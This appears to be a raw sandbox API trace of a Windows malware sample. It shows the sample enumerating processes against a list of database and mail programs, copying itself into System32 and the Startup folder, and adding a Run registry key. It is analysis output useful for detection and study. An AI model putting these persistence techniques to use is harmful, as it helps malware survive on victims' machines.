	[0063.163] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0063.164] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0063.164] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1
	[0063.164] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0063.165] lstrlenW (lpString="taskhostw.exe") returned 13
	[0063.165] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
	[0063.165] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0063.174] lstrlenW (lpString="taskhostw.exe") returned 13
	[0063.174] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1
	[0063.174] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0063.174] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0063.174] lstrcmpiW (lpString1="1c8.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.174] lstrcmpiW (lpString1="1cv77.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="outlook.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="postgres.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="UNPCampaignManager.exe") returned -1
	[0063.175] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0063.175] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0063.175] lstrcmpiW (lpString1="1c8.exe", lpString2="DeviceCensus.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="1cv77.exe", lpString2="DeviceCensus.exe") returned -1
	[0063.175] lstrcmpiW (lpString1="outlook.exe", lpString2="DeviceCensus.exe") returned 1
	[0063.175] lstrcmpiW (lpString1="postgres.exe", lpString2="DeviceCensus.exe") returned 1
	[0063.175] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="DeviceCensus.exe") returned 1
	[0063.175] lstrcmpiW (lpString1="mysqld.exe", lpString2="DeviceCensus.exe") returned 1
	[0063.175] lstrcmpiW (lpString1="sqlservr.exe", lpString2="DeviceCensus.exe") returned 1
	[0063.175] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="sc.exe")) returned 1
	[0063.176] lstrlenW (lpString="sc.exe") returned 6
	[0063.176] lstrcmpiW (lpString1="1c8.exe", lpString2="sc.exe") returned -1
	[0063.176] lstrcmpiW (lpString1="1cv77.exe", lpString2="sc.exe") returned -1
	[0063.176] lstrcmpiW (lpString1="outlook.exe", lpString2="sc.exe") returned -1
	[0063.176] lstrcmpiW (lpString1="postgres.exe", lpString2="sc.exe") returned -1
	[0063.176] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0063.177] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0063.177] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0063.178] lstrlenW (lpString="UsoClient.exe") returned 13
	[0063.178] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.178] lstrlenW (lpString="conhost.exe") returned 11
	[0063.178] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x116c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.179] lstrlenW (lpString="conhost.exe") returned 11
	[0063.179] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0063.180] lstrlenW (lpString="conhost.exe") returned 11
	[0063.180] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.180] lstrlenW (lpString="svchost.exe") returned 11
	[0063.180] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0063.181] lstrlenW (lpString="dllhost.exe") returned 11
	[0063.181] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0063.182] lstrlenW (lpString="dllhost.exe") returned 11
	[0063.182] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0063.182] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0063.182] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0063.183] lstrlenW (lpString="svchost.exe") returned 11
	[0063.183] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0063.183] CloseHandle (hObject=0x240) returned 1
	[0063.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a330 | out: hHeap=0x500000) returned 1
	[0063.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x51a498 | out: hHeap=0x500000) returned 1
	[0063.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516758 | out: hHeap=0x500000) returned 1
	[0063.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516778 | out: hHeap=0x500000) returned 1
	[0063.183] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x515650 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517940 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5165b8 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516518 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e8b0 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e8d8 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x516738 | out: hHeap=0x500000) returned 1
	[0063.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb08 | out: hHeap=0x500000) returned 1
	[0063.184] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x5466f0
	[0063.184] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x5566f8
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544250
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544250, Size=0x20) returned 0x53eba8
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eba8, Size=0x40) returned 0x51a2a0
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544460
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544460, Size=0x20) returned 0x53e888
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544478
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544478, Size=0x20) returned 0x53ea40
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544388
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544388, Size=0x20) returned 0x53e860
	[0063.185] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e860, Size=0x40) returned 0x51a330
	[0063.185] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5566f8, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x52
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x566700
	[0063.185] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x576708
	[0063.186] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544400
	[0063.186] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544400, Size=0x20) returned 0x53ed10
	[0063.186] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53ed10, Size=0x40) returned 0x51a138
	[0063.186] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a138, Size=0x80) returned 0x5873f8
	[0063.186] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5873f8, Size=0x100) returned 0x544f70
	[0063.186] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x544f70 | out: hHeap=0x500000) returned 1
	[0063.186] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x566700, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x4f
	[0063.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x576708 | out: hHeap=0x500000) returned 1
	[0063.186] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x500000) returned 1
	[0063.187] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x2413020
	[0063.190] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544508
	[0063.190] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544508, Size=0x20) returned 0x53e978
	[0063.190] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544310
	[0063.190] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544310, Size=0x20) returned 0x53ea68
	[0063.190] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.190] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.190] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0063.190] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.190] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53e978 | out: hHeap=0x500000) returned 1
	[0063.190] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.190] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ea68 | out: hHeap=0x500000) returned 1
	[0063.190] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0063.190] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0063.192] ReadFile (in: hFile=0x240, lpBuffer=0x2413020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2413020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0063.212] WriteFile (in: hFile=0x244, lpBuffer=0x2413020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2413020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0063.214] ReadFile (in: hFile=0x240, lpBuffer=0x2413020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x2413020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0063.214] CloseHandle (hObject=0x244) returned 1
	[0063.218] CloseHandle (hObject=0x240) returned 1
	[0063.218] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544400
	[0063.218] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544400, Size=0x20) returned 0x53ed10
	[0063.218] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544460
	[0063.218] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544460, Size=0x20) returned 0x53ed38
	[0063.218] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.218] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.228] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0063.228] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.228] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed38 | out: hHeap=0x500000) returned 1
	[0063.228] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.228] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.228] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x2413020 | out: hHeap=0x500000) returned 1
	[0063.233] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544448
	[0063.233] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544448, Size=0x20) returned 0x53e9f0
	[0063.233] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53e9f0, Size=0x40) returned 0x51a408
	[0063.233] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a408, Size=0x80) returned 0x5873f8
	[0063.233] lstrlenW (lpString="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 78
	[0063.233] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0063.233] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x5c) returned 0x544f70
	[0063.233] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0063.233] RegSetValueExW (in: hKey=0x240, lpValueName="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", Reserved=0x0, dwType=0x1, lpData="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", cbData=0x9c | out: lpData="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x0
	[0063.234] RegCloseKey (hKey=0x240) returned 0x0
	[0063.234] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x544f70 | out: hHeap=0x500000) returned 1
	[0063.234] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0063.234] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5873f8 | out: hHeap=0x500000) returned 1
	[0063.234] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x566700
	[0063.235] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x576708
	[0063.235] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5444c0
	[0063.235] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5444c0, Size=0x20) returned 0x53eae0
	[0063.235] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x53eae0, Size=0x40) returned 0x51a648
	[0063.235] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x51a648, Size=0x80) returned 0x586ea8
	[0063.235] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x586ea8, Size=0x100) returned 0x544f70
	[0063.235] lstrlenW (lpString="") returned 0
	[0063.235] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.235] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8c) returned 0x545078
	[0063.235] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x240) returned 0x0
	[0063.235] RegQueryValueExW (in: hKey=0x240, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x576708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x576708*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0063.235] RegCloseKey (hKey=0x240) returned 0x0
	[0063.235] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545078 | out: hHeap=0x500000) returned 1
	[0063.235] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.235] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x8c) returned 0x545078
	[0063.235] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0063.236] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x576708, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0063.236] RegCloseKey (hKey=0x244) returned 0x0
	[0063.236] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x545078 | out: hHeap=0x500000) returned 1
	[0063.236] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0063.236] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0063.236] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x544f70 | out: hHeap=0x500000) returned 1
	[0063.236] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x566700, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x89
	[0063.236] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x576708 | out: hHeap=0x500000) returned 1
	[0063.236] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x500000) returned 1
	[0063.237] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x100000) returned 0x241d020
	[0063.240] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x5443d0
	[0063.240] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x5443d0, Size=0x20) returned 0x53eb30
	[0063.240] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x10) returned 0x544280
	[0063.240] RtlReAllocateHeap (Heap=0x500000, Flags=0x0, Ptr=0x544280, Size=0x20) returned 0x53ed10
	[0063.240] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76750000
	[0063.240] GetProcAddress (hModule=0x76750000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76766b30
	[0063.240] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0063.240] lstrlenW (lpString="kernel32.dll") returned 12
	[0063.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53eb30 | out: hHeap=0x500000) returned 1
	[0063.240] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0063.240] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x53ed10 | out: hHeap=0x500000) returned 1
	[0063.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0063.240] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0063.241] ReadFile (in: hFile=0x244, lpBuffer=0x241d020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241d020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0063.253] WriteFile (in: hFile=0x248, lpBuffer=0x241d020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x241d020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
